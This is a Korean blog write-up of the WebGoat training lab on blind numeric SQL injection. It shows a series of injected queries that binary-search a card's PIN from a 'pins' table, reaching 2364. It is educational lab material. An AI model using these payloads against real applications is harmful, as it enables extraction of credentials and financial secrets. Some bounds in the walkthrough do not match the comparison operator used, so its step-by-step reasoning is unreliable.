숫자로 된 값을 알아내는 Blind SQL Injection 공격에 대해 알아보는 문제이다.
아래 쿼리처럼, 논리식을 던져, 그 응답(반응)을 기준으로 판단하는 공격이 되겠다.
추측 대입이 이루어지므로, 보통 프로그래밍하여 자동화 공격을 한다.
간단하게 아래의 쿼리를 던져, Account Number가 10000보다 큰지 보자.
101 and (select pin from pins where cc_number='1111222233334444') > 10000;
Account Number <= 10000이므로, 그보다 작은 수로 다시 던지자.
Binary Search를 하듯 값을 반씩 깎아보자.
101 and (select pin from pins where cc_number='1111222233334444') > 5000;
Account Number <= 5000이므로, 그보다 작은 수로 다시 던지자.
다음은 2500으로 해보자.
101 and (select pin from pins where cc_number='1111222233334444') > 2500;
Account Number <= 2500이므로, 그보다 작은 수로 다시 던지자.
휴... 이번엔 1250으로...
101 and (select pin from pins where cc_number='1111222233334444') > 1250;
오, 드디어 valid가 떴다. 하한선이 만들어졌다.
1250 < Account Number <= 2500
범위를 줄여야 하므로, 이번엔 하한선을 2000부터 시작하여 늘려보자.
101 and (select pin from pins where cc_number='1111222233334444') > 2000;
2000 < Account Number <= 2500
2250!
101 and (select pin from pins where cc_number='1111222233334444') > 2250;
2250 < Account Number <= 2500
2300!
101 and (select pin from pins where cc_number='1111222233334444') > 2300;
2300 < Account Number <= 2500
2400!
101 and (select pin from pins where cc_number='1111222233334444') > 2400;
2300 < Account Number <= 2400
상한선이 바뀌었다.
50 줄여서 던져보자.
101 and (select pin from pins where cc_number='1111222233334444') >= 2350;
2350 < Account Number <= 2400
하한선을 바꿀 수 있다.
2370으로 던져보자.
101 and (select pin from pins where cc_number='1111222233334444') >= 2370;
2350 < Account Number < 2370
상한선이 바뀐다.
이번엔 2360으로 던지자.
101 and (select pin from pins where cc_number='1111222233334444') >= 2360;
2360 <= Account Number < 2370
하한선이 바뀐다.
2365를 던져보자.
101 and (select pin from pins where cc_number='1111222233334444') >= 2365;
2360 <= Account Number < 2365
상한선이 바뀐다.
2363으로 던지자.
101 and (select pin from pins where cc_number='1111222233334444') > 2363;
2363 <= Account Number < 2365
하한선이 바뀐다.
남은 후보는 하나다. 2364으로 가자.
101 and (select pin from pins where cc_number='1111222233334444') >= 2364;
2364 <= Account Number < 2365
찾았다! 이 범위의 수는 딱 하나, 2364 밖에 없다.
Clear~
'[Wargame Write-up] > WebGoat' 카테고리의 다른 글
[WebGoat] [Denial of Service] ZipBomb (0) | 2017.03.22 |
---|---|
[WebGoat] [Injection Flaws] Blind String SQL Injection (0) | 2017.03.21 |
[WebGoat] [Malicious Execution] Malicious File Execution (2) | 2017.01.12 |
[WebGoat] [Access Control Flaws] Bypass a Path Based Access Conrol Scheme (0) | 2017.01.10 |
[WebGoat] [AJAX Security] LAB: Client Side Filtering (0) | 2016.12.29 |